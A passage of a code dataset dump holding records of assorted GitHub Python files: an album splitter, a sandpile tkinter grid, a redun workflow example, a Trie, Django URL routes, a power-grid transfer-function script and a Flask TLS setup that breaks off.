ok?\"):\n gYear = input(\"Enter year manually: \")\n\ngAlbum = metadata[0]['ALBUM']\nif not gAlbum or not yes_or_no(\"Album is: '\" + gAlbum + \"', is it ok?\"):\n gAlbum = input(\"Enter album manually: \")\n\ngGenre = metadata[0]['GENRE']\nif not gGenre or not yes_or_no(\"Genre is: '\" + gGenre + \"', is it ok?\"):\n gGenre = input(\"Enter genre manually: \")\n\ngArtist = gArtist.encode('utf-8')\ngYear = gYear.encode('utf-8')\ngAlbum = gAlbum.encode('utf-8')\ngGenre = gGenre.encode('utf-8')\n\ngArtist = gArtist.decode('utf-8')\ngYear = gYear.decode('utf-8')\ngAlbum = gAlbum.decode('utf-8')\ngGenre = gGenre.decode('utf-8')\n\nprint(gArtist + \" - \" + gGenre +\" - \" + gYear + \" - \" + gAlbum)\n\nprint(\"Loading media file...\")\ntoSplit = aud.from_file(args.album, extension)\n\nprint(\"Exporting songs...\")\nfor song in metadata:\n startTime = song['POS_START_SAMPLES'] // (44100 / 1000.) # Don't use actual sample rate of file because deflacue can't know it and uses 44100 to output samples\n try:\n endTime = song['POS_END_SAMPLES'] // (44100 / 1000.)\n except TypeError:\n endTime = None\n\n artist = gArtist\n year = gYear\n album = gAlbum\n genre = gGenre\n track = '%02d' % song['TRACK_NUM']\n title = song['TITLE'].encode('utf-8')\n title = title.decode('utf-8')\n\n #Parse format string to generate filename:\n filename = args.string\n filename = filename.replace('%artist%', slugify(artist))\n filename = filename.replace('%year%', slugify(year))\n filename = filename.replace('%album%', slugify(album))\n filename = filename.replace('%track%', slugify(track))\n filename = filename.replace('%title%', slugify(title))\n filename = filename.replace('%genre%', slugify(genre))\n filename = os.path.join(args.dest, filename + '.' + args.format.lower())\n\n fulldir = os.path.dirname(filename)\n if not os.path.isdir(fulldir):\n os.makedirs(fulldir)\n\n tmp = toSplit[startTime:endTime]\n sys.stdout.write(filename)\n if args.verbose:\n sys.stdout.write(' ' + str(startTime) + ' - ' + str(endTime))\n\n sys.stdout.flush()\n try:\n tmp.export(filename,\n format=args.format,\n parameters=['-sample_fmt', args.bitdepth, '-ar', args.samplerate],\n tags={'artist': artist, 'album_artist': artist, 'year': year, 'album': album, 'track': track, 'title': title, 'genre': genre})\n if args.cover != None:\n if subprocess.call([\"metaflac\", \"--import-picture-from='\" + args.cover + \"'\", fileName]):\n raise BlockingIOError(\"Couldn't add cover\")\n sys.stdout.write(\" : DONE\\n\")\n except:\n sys.stdout.write(\" : FAILED\\n\")\n sys.exit(1)\n\nsys.exit(0)\n","repo_name":"yannroth/albumSplitter","sub_path":"albumSplitter.py","file_name":"albumSplitter.py","file_ext":"py","file_size_in_byte":6014,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"20002866118","text":"import connect_database as db #connect_database is a .py file\nimport datetime\nimport numpy as np\nfrom datetime import date #Date\nfrom datetime import datetime #Time\n\nmycursor = db.conn.cursor(buffered=True) #To use the variable from a file, must call the file name\n#I get the error 'Unread result found' and forced to put buffered=True into argument\n\ntoday = date.today() #Get today's date\nd = today.strftime(\"%Y-%m-%d\") #Date format: 2021-02-28\nnow = datetime.now() #Get current time\nt = now.strftime(\"%H:%M:%S\") #Time format: 10:05:30\n\nid = 1\n\nsql_flag = \"\"\"UPDATE timestamp \n SET t_afternoon_break = IF(t_afternoon_break IS NULL, %s, \n WHERE date = %s\n AND emp_id = %s\"\"\"\n\nmycursor.execute(sql_flag, (d,id))\nflag_fetch = mycursor.fetchone()\ndateData, shift = flag_fetch\n\nprint(a)","repo_name":"lolzz77/facial_recognition_fyp","sub_path":"repos/FacialRecognition/FaceRecognition/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"185544569","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport runner # noqa\n\nfrom core.testcase import TestCase, main\nfrom core.types import BundleOfferId, HyperCategory, HyperCategoryType, Model, Offer, Promo, PromoType, Shop\n\n\n# MARKETOUT-24159\nclass T(TestCase):\n @classmethod\n def prepare(cls):\n cls.settings.default_search_experiment_flags += ['market_filter_offers_with_model_without_sku=0']\n cls.index.shops += [\n Shop(fesh=1, datafeed_id=1),\n ]\n cls.index.hypertree += [\n HyperCategory(hid=1, output_type=HyperCategoryType.CLUSTERS, show_offers=True, visual=True),\n HyperCategory(hid=2, output_type=HyperCategoryType.CLUSTERS, show_offers=True, visual=True),\n HyperCategory(hid=3, output_type=HyperCategoryType.CLUSTERS, show_offers=True, visual=True),\n ]\n\n cls.index.models += [\n Model(hyperid=1, hid=1),\n Model(hyperid=2, hid=2),\n Model(hyperid=3, hid=3),\n ]\n\n cls.index.offers += [\n Offer(\n offerid='1',\n fesh=1,\n feedid=1,\n hyperid=1,\n hid=1,\n price=100,\n promo=Promo(\n promo_type=PromoType.BUNDLE,\n key='promo_1',\n bundle_offer_ids=[\n BundleOfferId(feed_id=1, offer_id='1'),\n BundleOfferId(feed_id=1, offer_id='2'),\n BundleOfferId(feed_id=1, offer_id='3'),\n ],\n feed_id=1,\n ),\n ),\n Offer(\n offerid='2',\n fesh=1,\n feedid=1,\n hid=2,\n hyperid=2,\n price=60,\n promo_price=30,\n promo=Promo(\n promo_type=PromoType.FLASH_DISCOUNT,\n key='promo_2',\n bundle_offer_ids=[\n BundleOfferId(feed_id=1, offer_id='2'),\n BundleOfferId(feed_id=1, offer_id='3'),\n ],\n feed_id=1,\n ),\n ),\n Offer(offerid='3', fesh=1, feedid=1, hid=3, hyperid=3, price=50),\n ]\n\n def test_promos_disabled(self):\n response = self.report.request_json('place=prime&hid=1&hide-offer-promo=1')\n self.assertFragmentNotIn(\n response,\n {\n 'results': [\n {'entity': 'offer', 'promos': [{'key': 'promo_1'}]},\n ]\n },\n )\n\n response = self.report.request_json('place=prime&hid=1')\n self.assertFragmentIn(\n response,\n {\n 'results': [\n {'entity': 'offer', 'promos': [{'key': 'promo_1'}]},\n ]\n },\n )\n\n def test_flash_discount_not_affected(self):\n response = self.report.request_json('place=prime&hid=2&hide-offer-promo=1')\n self.assertFragmentIn(\n response,\n {\n 'results': [\n {'entity': 'offer', 'promos': [{'key': 'promo_2'}]},\n ]\n },\n )\n\n response = self.report.request_json('place=prime&hid=2')\n self.assertFragmentIn(\n response,\n {\n 'results': [\n {'entity': 'offer', 'promos': [{'key': 'promo_2'}]},\n ]\n },\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/GENERAL/test_prime_hide_promo.py","file_name":"test_prime_hide_promo.py","file_ext":"py","file_size_in_byte":3579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19558359850","text":"from nicegui import ui\n\nfrom ..documentation_tools import text_demo\n\n\ndef main_demo() -> None:\n import random\n\n numbers = []\n\n @ui.refreshable\n def number_ui() -> None:\n ui.label(', '.join(str(n) for n in sorted(numbers)))\n\n def add_number() -> None:\n numbers.append(random.randint(0, 100))\n number_ui.refresh()\n\n number_ui()\n ui.button('Add random number', on_click=add_number)\n\n\ndef more() -> None:\n @text_demo('Refreshable UI with parameters', '''\n Here is a demo of how to use the refreshable decorator to create a UI that can be refreshed with different parameters.\n ''')\n def refreshable_with_parameters():\n from datetime import datetime\n\n import pytz\n\n @ui.refreshable\n def clock_ui(timezone: str):\n ui.label(f'Current time in {timezone}:')\n ui.label(datetime.now(tz=pytz.timezone(timezone)).strftime('%H:%M:%S'))\n\n clock_ui('Europe/Berlin')\n ui.button('Refresh', on_click=clock_ui.refresh)\n ui.button('Refresh for New York', on_click=lambda: clock_ui.refresh('America/New_York'))\n ui.button('Refresh for Tokyo', on_click=lambda: clock_ui.refresh('Asia/Tokyo'))\n\n @text_demo('Refreshable UI for input validation', '''\n Here is a demo of how to use the refreshable decorator to give feedback about the validity of user input.\n ''')\n def input_validation():\n import re\n\n pwd = ui.input('Password', password=True, on_change=lambda: show_info.refresh())\n\n rules = {\n 'Lowercase letter': lambda s: re.search(r'[a-z]', s),\n 'Uppercase letter': lambda s: re.search(r'[A-Z]', s),\n 'Digit': lambda s: re.search(r'\\d', s),\n 'Special character': lambda s: re.search(r\"[!@#$%^&*(),.?':{}|<>]\", s),\n 'min. 8 characters': lambda s: len(s) >= 8,\n }\n\n @ui.refreshable\n def show_info():\n for rule, check in rules.items():\n with ui.row().classes('items-center gap-2'):\n if check(pwd.value or ''):\n ui.icon('done', color='green')\n ui.label(rule).classes('text-xs text-green strike-through')\n else:\n ui.icon('radio_button_unchecked', color='red')\n ui.label(rule).classes('text-xs text-red')\n\n show_info()\n","repo_name":"fabian0702/nicegui","sub_path":"website/more_documentation/refreshable_documentation.py","file_name":"refreshable_documentation.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39729690688","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 24 14:42:05 2023\n\n@author: Daniele Linaro\n\"\"\"\n\nimport os\nimport re\nimport sys\nimport numpy as np\n# from scipy.io import savemat\n# import matplotlib.pyplot as plt\n# import matplotlib\n# import seaborn as sns\nfrom tqdm import tqdm\n\nprogname = os.path.basename(sys.argv[0])\n\ndef usage(exit_code=None):\n print(f'usage: {progname} [-h | --help] [-m | --fmin <value>] [-M | --fmax <value>]')\n prefix = ' ' + ' ' * (len(progname)+1)\n print(prefix + '[-N | --n-steps <value>] [--dB <10|20>] [--save-mat]')\n print(prefix + '[-o | --outfile <value>] [-f | --force] [--tau <value>] ')\n print(prefix + '<--P | --Q | --PQ> <--dP | --sigmaP value1<,value2,...>>')\n print(prefix + '<--dQ | --sigmaQ value1<,value2,...>> <-L | --loads load1<,load2,...>> file')\n if exit_code is not None:\n sys.exit(exit_code)\n\n\nif __name__ == '__main__':\n\n # default values \n fmin,fmax = -6., 2.\n steps_per_decade = 100\n dB = 20\n force = False\n save_mat = False\n outdir, outfile = '', None\n load_names = None\n use_P_constraint, use_Q_constraint = False, False\n dP,dQ = [],[]\n sigmaP,sigmaQ = [],[]\n # time constant of the OU process\n tau = 20e-3\n\n i = 1\n n_args = len(sys.argv)\n while i < n_args:\n arg = sys.argv[i]\n if arg in ('-h', '--help'):\n usage(0)\n elif arg in ('-m', '--fmin'):\n i += 1\n fmin = float(sys.argv[i])\n elif arg in ('-M', '--fmax'):\n i += 1\n fmax = float(sys.argv[i])\n elif arg in ('-N', '--n-steps'):\n i += 1\n steps_per_decade = int(sys.argv[i])\n elif arg in ('-L', '--loads'):\n i += 1\n load_names = sys.argv[i].split(',')\n elif arg == '--P':\n use_P_constraint = True\n elif arg == '--Q':\n use_Q_constraint = True\n elif arg == '--PQ':\n use_P_constraint = True\n use_Q_constraint = True\n elif arg == '--dP':\n i += 1\n dP = list(map(float, sys.argv[i].split(',')))\n elif arg == '--dQ':\n i += 1\n dP = list(map(float, sys.argv[i].split(',')))\n elif arg == '--sigmaP':\n i += 1\n sigmaP = list(map(float, sys.argv[i].split(',')))\n elif arg == '--sigmaQ':\n i += 1\n sigmaQ = list(map(float, sys.argv[i].split(',')))\n elif arg == '--tau':\n i += 1\n tau = float(sys.argv[i])\n elif arg == '--dB':\n i += 1\n dB = int(sys.argv[i])\n if dB not in (10,20):\n print(f'{progname}: the option to --dB must be either 10 or 20.')\n sys.exit(1)\n elif arg in ('-o','--outfile'):\n i += 1\n outfile = sys.argv[i]\n elif arg == '--save-mat':\n save_mat = True\n elif arg in ('-f', '--force'):\n force = True\n elif arg[0] == '-':\n print(f'{progname}: unknown option `{arg}`.')\n sys.exit(1)\n else:\n break\n i += 1\n\n if i == n_args:\n print(f'{progname}: you must specify an input file')\n sys.exit(1)\n if i == n_args-1:\n data_file = sys.argv[i]\n else:\n print(f'{progname}: arguments after project name are not allowed')\n sys.exit(1)\n \n if not os.path.isfile(data_file):\n print(f'{progname}: {data_file}: no such file.')\n sys.exit(1)\n \n if not use_P_constraint and not use_Q_constraint:\n print(f'{progname}: at least one of --P and --Q must be specified.')\n sys.exit(1)\n \n if use_P_constraint:\n if len(dP) == 0 and len(sigmaP) == 0:\n print(f'{progname}: either --dP or --sigmaP must be specified with --P.')\n sys.exit(1)\n elif len(dP) > 0 and len(sigmaP) > 0:\n print(f'{progname}: only one of --dP and --sigmaP can be specified.')\n sys.exit(1)\n if use_Q_constraint:\n if len(dQ) == 0 and len(sigmaQ) == 0:\n print(f'{progname}: either --dQ or --sigmaQ must be specified with --Q.')\n sys.exit(1)\n elif len(dQ) > 0 and len(sigmaQ) > 0:\n print(f'{progname}: only one of --dP and --sigmaP can be specified.')\n sys.exit(1)\n\n if outfile is None:\n outdir = os.path.dirname(data_file)\n if outdir == '':\n outdir = '.'\n outfile = os.path.splitext(os.path.basename(data_file))[0] + \\\n '_TF_{}_{}_{}'.format(fmin, fmax, steps_per_decade) + '.npz'\n if os.path.isfile(os.path.join(outdir, outfile)) and not force:\n print(f'{progname}: {os.path.join(outdir, outfile)}: file exists, use -f to overwrite.')\n sys.exit(1)\n\n if fmin >= fmax:\n print(f'{progname}: fmin must be < fmax.')\n sys.exit(1)\n if steps_per_decade <= 0:\n print(f'{progname}: number of steps per decade must be > 0.')\n sys.exit(1)\n\n if load_names is None:\n print(f'{progname}: you must specify the name of at least one load where the signal is injected.')\n sys.exit(1)\n\n N_freq = int(fmax - fmin) * steps_per_decade + 1\n F = np.logspace(fmin, fmax, N_freq) \n\n data = np.load(data_file, allow_pickle=True)\n SM_names = data['gen_names']\n H = np.array([data['H'].item()[name] for name in SM_names])\n S = np.array([data['S'].item()[name] for name in SM_names])\n PF = data['PF_without_slack'].item()\n n_SMs = len(SM_names)\n P,Q = np.zeros(n_SMs), np.zeros(n_SMs)\n for i,name in enumerate(SM_names):\n if name in PF['SMs']:\n key = name\n else:\n key = name + '____GEN_____'\n P[i] = PF['SMs'][key]['P']\n Q[i] = PF['SMs'][key]['Q']\n\n J,A = data['J'], data['A']\n vars_idx = data['vars_idx'].item()\n state_vars = data['state_vars'].item()\n N_vars = J.shape[0]\n N_state_vars = np.sum([len(v) for v in state_vars.values()])\n N_algebraic_vars = N_vars - N_state_vars\n Jfx = J[:N_state_vars, :N_state_vars]\n Jfy = J[:N_state_vars, N_state_vars:]\n Jgx = J[N_state_vars:, :N_state_vars]\n Jgy = J[N_state_vars:, N_state_vars:]\n Jgy_inv = np.linalg.inv(Jgy)\n Atmp = Jfx - Jfy @ Jgy_inv @ Jgx\n assert np.all(np.abs(A-Atmp) < 1e-8)\n\n I = np.eye(N_state_vars)\n M = np.zeros((N_freq, N_state_vars, N_state_vars), dtype=complex) \n TF = np.zeros((N_freq, N_state_vars+N_algebraic_vars), dtype=complex)\n\n load_buses = data['load_buses'].item()\n all_load_names = []\n all_dP,all_dQ,all_sigmaP,all_sigmaQ = [],[],[],[]\n def try_append(dst, src, i):\n try: dst.append(src[i])\n except: pass\n for i,load_name in enumerate(load_names):\n if '*' in load_name:\n for load in load_buses.keys():\n if re.match(load_name, load):\n all_load_names.append(load)\n try_append(all_dP, dP, i)\n try_append(all_dQ, dQ, i)\n try_append(all_sigmaP, sigmaP, i)\n try_append(all_sigmaQ, sigmaQ, i)\n elif load_name not in load_buses:\n print(f'{progname}: cannot find load `{load_name}`.')\n sys.exit(0)\n else:\n all_load_names.append(load_name)\n try_append(all_dP, dP, i)\n try_append(all_dQ, dQ, i)\n try_append(all_sigmaP, sigmaP, i)\n try_append(all_sigmaQ, sigmaQ, i)\n load_names = all_load_names\n dP,dQ,sigmaP,sigmaQ = all_dP,all_dQ,all_sigmaP,all_sigmaQ\n\n PF_loads = data['PF_without_slack'].item()['loads']\n idx = []\n c,alpha = [], []\n for i,load_name in enumerate(load_names):\n keys = []\n bus_name = load_buses[load_name]\n if bus_name not in vars_idx:\n # we have to look through the equivalent terms of bus_name\n bus_equiv_terms = data['bus_equiv_terms'].item()\n for equiv_term_name in bus_equiv_terms[bus_name]:\n if equiv_term_name in vars_idx:\n print('Load {} is connected to bus {}, which is not among the '.\n format(load_name, bus_name) + \n 'buses whose ur and ui variables are in the Jacobian, but {} is.'.\n format(equiv_term_name))\n bus_name = equiv_term_name\n break\n if use_P_constraint:\n # real part of voltage\n idx.append(vars_idx[bus_name]['ur'])\n keys.append('P')\n if use_Q_constraint:\n # imaginary part of voltage\n idx.append(vars_idx[bus_name]['ui'])\n keys.append('Q')\n for key in keys:\n mean = PF_loads[load_name][key]\n if key == 'P':\n if len(dP) > 0:\n stddev = dP[i] * abs(mean)\n else:\n stddev = sigmaP[i]\n else:\n if len(dQ) > 0:\n stddev = dQ[i] * abs(mean)\n else:\n stddev = sigmaQ[i]\n c.append(stddev*np.sqrt(2/tau))\n alpha.append(1/tau)\n\n idx = np.array(idx) - N_state_vars\n c,alpha = np.array(c), np.array(alpha)\n B = -Jfy @ Jgy_inv\n C = -Jgy_inv @ Jgx\n for i in tqdm(range(N_freq), ascii=True, ncols=70):\n M[i,:,:] = np.linalg.inv(-A + 1j*2*np.pi*F[i]*I)\n MxB = M[i,:,:] @ B\n PSD = np.sqrt((c/alpha)**2 / (1 + (2*np.pi*F[i]/alpha)**2))\n for j,psd in enumerate(PSD):\n v = np.zeros(N_algebraic_vars, dtype=float)\n v[idx[j]] = psd\n tmp = MxB @ v\n TF[i,:N_state_vars] += tmp**2\n TF[i,N_state_vars:] += (C @ tmp - Jgy_inv @ v)**2\n TF = np.sqrt(TF)\n TF[TF==0] = 1e-20 * (1+1j)\n mag = dB * np.log10(np.abs(TF))\n phase = np.angle(TF)\n vars_idx = data['vars_idx'].item()\n var_names,idx = [],[]\n for k1,D in vars_idx.items():\n for k2,v in D.items():\n var_names.append(k1 + '.' + k2)\n idx.append(v)\n var_names = [var_names[i] for i in np.argsort(idx)]\n\n Htot = data['inertia']\n Etot = data['energy']\n Mtot = data['momentum']\n out = {'A': A, 'dB': dB, 'F': F, 'TF': TF, 'mag': mag, 'phase': phase,\n 'var_names': var_names, 'SM_names': SM_names,\n 'Htot': Htot, 'Etot': Etot, 'Mtot': Mtot, 'H': H, 'S': S, 'P': P, 'Q': Q,\n 'PF': data['PF_without_slack']}\n np.savez_compressed(os.path.join(outdir, outfile), **out)\n\n if save_mat:\n from scipy.io import savemat\n savemat(os.path.join(outdir, os.path.splitext(outfile)[0] + '.mat'), out)\n","repo_name":"danielelinaro/ai-pf","sub_path":"compute_TFs.py","file_name":"compute_TFs.py","file_ext":"py","file_size_in_byte":10662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34062202316","text":"import glob,shutil,os\nfrom random import shuffle\n\n\ndata_dir = '/hdd2/DATA/VA_crawler/shutterstock/cropped_resized'\n\ntrain_dir\t= os.path.join(data_dir, 'train')\ntest_dir\t= os.path.join(data_dir, 'test')\n\ntrain_raw_dir\t\t= os.path.join(train_dir, 'raw')\ntrain_target_dir\t= os.path.join(train_dir, 'target')\n\ntest_raw_dir\t\t= os.path.join(test_dir, 'raw')\ntest_target_dir\t\t= os.path.join(test_dir, 'target')\n\nimage_paths\t= glob.glob(os.path.join(train_target_dir, '*.jpg'))\nshuffle(image_paths)\ntest_set\t= image_paths[:1000]\ntrain_set\t= image_paths[len(test_set):]\n\nfor idx, train_target_path in enumerate(test_set):\n\ttrain_raw_paths = glob.glob(os.path.join(train_raw_dir, os.path.basename(train_target_path)+\"*.jpg\"))\n\t\"\"\"\n\tprint len(train_raw_paths)\n\tif len(train_raw_paths)>1:\n\t\tprint train_target_path\n\t\tprint train_raw_paths\n\t\"\"\"\n\tfor train_raw_path in train_raw_paths:\n\t\tif os.path.exists(train_raw_path):\n\t\t\tshutil.move(train_raw_path, test_raw_dir)\n\tif os.path.exists(train_target_path):\n\t\tshutil.move(train_target_path, test_target_dir)\n","repo_name":"Jongchan/DISTORT-AND-RECOVER-CVPR18","sub_path":"tools/divide_set.py","file_name":"divide_set.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"72"} +{"seq_id":"32408148218","text":"import random as rd\nimport tkinter as tk\n#CONSTANTES\n\n#taille de la grille\nL = 4\n#hauteur de la grille\nHAUTEUR = 500\n#largeur de la grille\nLARGEUR = 500\n\n#variable globale\ngrille = [] #contient uniquement les id des cases pour modif param. graphiques\n\"\"\"Q : créer une autre liste qui stock le nb de grains de sable ?\n(oui si operation sur valeur necessaire)\n[sinon obligé de recuperer valeur dans str du rectangle = galere ?]\"\"\"\nl_case = LARGEUR//L\nnb_clics = 0\nnb = 0\n\n####################\n# fonctions\n\ndef initialisation():\n \"\"\"initialisation du terrain :\n - creation de la grille avec toutes les cases à 0\"\"\"\n global grille, nb_clics, nb\n if nb_clics == 0:\n for i in range(L):\n grille.append([0]*L)\n for i in range(L):\n for j in range(L):\n rect = canvas.create_rectangle((i*l_case,j*l_case), ((i+1)*l_case,(j+1)*l_case),\n fill='lightgoldenrod')\n case = canvas.create_text((i*l_case+l_case//2,j*l_case+l_case//2), text=\"0\")\n grille[i][j] = case #recuperation id pour modif +tard\n nb_clics = 1\n\n else:\n insert_valeur(3) #configuration stable\n\n\ndef insert_valeur(n):\n \"\"\"insertion des valeurs comprises entre 0 et n dans la grille à la place des 0\"\"\"\n global grille, case\n canvas.delete(\"all\")\n liste_coul = ['lightgoldenrod','gold', 'goldenrod','darkgoldenrod','brown']\n for i in range(L):\n for j in range(L):\n nb = rd.randint(0,n)\n if nb>3: nb=4\n rect = canvas.create_rectangle((i*l_case,j*l_case), ((i+1)*l_case,(j+1)*l_case),\n fill=liste_coul[nb])\n case = canvas.create_text((i*l_case+l_case//2,j*l_case+l_case//2), text=str(nb))\n grille[i][j] = case\n\ndef stabilisation():\n \"\"\"focntion qui ne code uniquement la stabilisation (avalanche)\n pour ensuite creer une focntion qui ne code uniquement l'affichage sur la canvas de la configuration\n (Q: ne modifier que la grille et la renvoyer a la fin de la fonction ?)\"\"\"\n global grille, case, nb\n for i in range(L):\n for j in range(L):\n if canvas.itemconfigure('text')>3:\n nb-=1\n canvas.itemconfigure(grille[i][j], text=str(nb))\n canvas.itemconfigure(grille[i][j], text=str(nb)) #tentative de modifier nb des autres case lors de l'avalanche\n \n\ndef config_rd():\n \"\"\"- creer une configuration aléatoire sur le canvas\n - se stabilise ensuite\"\"\"\n global grille, case, nb\n canvas.delete(\"all\")\n liste_coul = ['lightgoldenrod','gold', 'goldenrod','darkgoldenrod']\n for i in range(L):\n for j in range(L):\n nb = rd.randint(0,5)\n rect = canvas.create_rectangle((i*l_case,j*l_case), ((i+1)*l_case,(j+1)*l_case),\n fill=liste_coul[nb])\n case = canvas.create_text((i*l_case+l_case//2,j*l_case+l_case//2), text=str(nb))\n grille[i][j] = case\n canvas.after(2000, stabilisation)\n\n\n\n\n\n\n# partie pricipale\n\n# création widgets\nracine = tk.Tk() # Création de la fenêtre racine\nbouton = tk.Button(racine, text=\"initialisation\", command=initialisation)\ncanvas = tk.Canvas(racine, height=HAUTEUR, width=LARGEUR, bd=10)\nbouton_config = tk.Button(racine, text=\"configuration aléatoire\", command=config_rd)\n\n\n\n#placement des widgets\nbouton.grid(column=0, row=1)\ncanvas.grid(column=0, row=0, columnspan=2)\nbouton_config.grid(column=1, row=1)\n\n\n#boucle principale\nracine.mainloop()","repo_name":"uvsq22102656/projet_tas_de_sable","sub_path":"test creation grille.py","file_name":"test creation grille.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1551728495","text":"import os\nfrom typing import Dict, List\n\nfrom redun import File, script, task\n\nredun_namespace = \"redun.examples.script\"\n\n\n@task()\ndef parse_int(text: str) -> int:\n \"\"\"\n Small postprocessing task to parse a string to an int.\n \"\"\"\n return int(text.strip())\n\n\n@task()\ndef find_colors(data: File, column: int) -> List[str]:\n \"\"\"\n Determine all the colors in a dataset.\n \"\"\"\n colors = set()\n\n # Here, we show how to open a File to get a normal file stream.\n with data.open() as infile:\n for line in infile:\n row = line.strip().split(\"\\t\")\n colors.add(row[column])\n return list(colors)\n\n\n@task()\ndef count_color(data: File, color: str) -> int:\n \"\"\"\n Use a script to count people who like a particular color.\n \"\"\"\n\n # script() will return the standard out of a shell script.\n # We use the f-string syntax to fill in parameters.\n # Feel free to indent the script to match the code,\n # dedenting is applied automatically.\n output = script(\n f\"\"\"\n awk '$3 == \"{color}\"' {data.path} | wc -l\n \"\"\"\n )\n return parse_int(output)\n\n\n@task()\ndef count_colors(data: File, colors: List[str]) -> Dict[str, int]:\n \"\"\"\n Count how popular each color is.\n \"\"\"\n # As we have seen previously, the color counting will be done in parallel.\n return {color: count_color(data, color) for color in colors}\n\n\n@task()\ndef count_colors_by_script(data: File, output_path: str) -> Dict[str, File]:\n \"\"\"\n Count colors using a multi-line script.\n \"\"\"\n # This example task uses a multi-line script.\n # We also show how to isolate the script from other scripts that might be running.\n # By using `tempdir=True`, we will run this script within a temporary directory.\n\n # Use absolute paths for input and output because script will run in a new temp directory.\n data = File(os.path.abspath(data.path))\n output = File(os.path.abspath(output_path))\n log_file = File(os.path.abspath(output_path) + \".log\")\n\n # Staging Files.\n # The `File.stage()` method pairs a local path (relative to current working directory\n # in the script) with a remote path (url or project-level path). This pairing is used\n # to automatically copy files to and from the temporary directory.\n #\n # staged_file: StagingFile = File(remote_path).stage(local_path)\n\n return script(\n \"\"\"\n echo 'sorting colors...' >> log.txt\n cut -f3 data | sort > colors.sorted\n\n echo 'counting colors...' >> log.txt\n uniq -c colors.sorted | sort -nr > color-counts.txt\n \"\"\",\n # Use a temporary directory for running the script.\n tempdir=True,\n # Stage the input file to a local file called `data`.\n inputs=[data.stage(\"data\")],\n # Unstage the output files to our project directory.\n # Final return value of script() takes the shape of outputs, but with each StagingFile\n # replaced by `File(remote_path)`.\n outputs={\n \"colors-counts\": output.stage(\"color-counts.txt\"),\n \"log\": log_file.stage(\"log.txt\"),\n },\n )\n\n\n@task()\ndef main(data: File = File(\"data.tsv\")) -> Dict[str, int]:\n \"\"\"\n Perform some small data analysis by comparing two different techniques.\n \"\"\"\n # Method 1.\n colors = find_colors(data, 2)\n color_counts = count_colors(data, colors)\n\n # Method 2.\n output_path = os.path.abspath(\"color-counts.txt\")\n color_counts2 = count_colors_by_script(data, output_path)\n\n return {\n \"method1\": color_counts,\n \"method2\": color_counts2,\n }\n","repo_name":"insitro/redun","sub_path":"examples/04_script/workflow.py","file_name":"workflow.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","stars":466,"dataset":"github-code","pt":"72"} +{"seq_id":"22787661717","text":"class Node():\r\n def __init__(self):\r\n self.children = dict()\r\n self.isEnd = False\r\n\r\nclass Trie:\r\n\r\n def __init__(self):\r\n self.root = Node()\r\n\r\n def insert(self, word: str) -> None:\r\n current = self.root\r\n \r\n for char in word:\r\n if char not in current.children:\r\n current.children[char] = Node()\r\n current = current.children[char]\r\n\r\n def search(self, word: str) -> bool:\r\n # When we're at the last char/node - check whether it's the end of a word\r\n # since 'app' would make it through 'apple' but isn't actually the same word\r\n \r\n current = self.root\r\n \r\n for char in word:\r\n if char not in current.children:\r\n return False\r\n current = current.children[char]\r\n \r\n return current.isEnd\r\n \r\n def startsWith(self, prefix: str) -> bool:\r\n # Essentially like the function above but without the need to check for ends of words\r\n \r\n current = self.root\r\n \r\n for char in prefix:\r\n if char not in current.children:\r\n return False\r\n current = current.children[char]\r\n \r\n return True\r\n\r\n\r\n# Your Trie object will be instantiated and called as such:\r\n# obj = Trie()\r\n# obj.insert(word)\r\n# param_2 = obj.search(word)\r\n# param_3 = obj.startsWith(prefix)","repo_name":"NaralC/Algorithms-Interview-Questions","sub_path":"Leetcode/Medium/0208-Implement-Trie-(Prefix-Tree).py","file_name":"0208-Implement-Trie-(Prefix-Tree).py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2111237561","text":"from django.urls import path\nfrom . import views\n\n# All product app URLs\nurlpatterns = [\n path('', views.all_products, name='products'),\n path('<int:product_id>/', views.product_details, name='product_details'),\n\n # Add, edit and delete products\n path('add/', views.add_product, name='add_product'),\n path('edit/<int:product_id>/', views.edit_product, name='edit_product'),\n path('delete/<int:product_id>/', views.delete_product,\n name='delete_product'),\n\n # Add, edit and delete reviews\n path('add_review/<int:product_id>/', views.add_review, name=\"add_review\"),\n path('edit_review/<int:product_id>/<int:review_id>/',\n views.edit_review, name=\"edit_review\"),\n path('delete_review/<int:product_id>/<int:review_id>/',\n views.delete_review, name=\"delete_review\"),\n]\n","repo_name":"ifti-khan/urgym","sub_path":"products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37607315659","text":"import ssl\n\nimport flask\n\napp = flask.Flask('my_app')\n\n\n@app.route('/')\ndef index():\n return 'INDEX PAGE.......'\n\n\nssl_context = ssl.create_default_context(purpose=ssl.Purpose.CLIENT_AUTH)\nssl_context.load_cert_chain(\n certfile='certs/server/certificate.crt',\n keyfile='certs/server/private.key',\n)\nssl_context.load_verify_locations(\n cafile='certs/ca/certificate.crt',\n)\nssl_context.verify_mode = 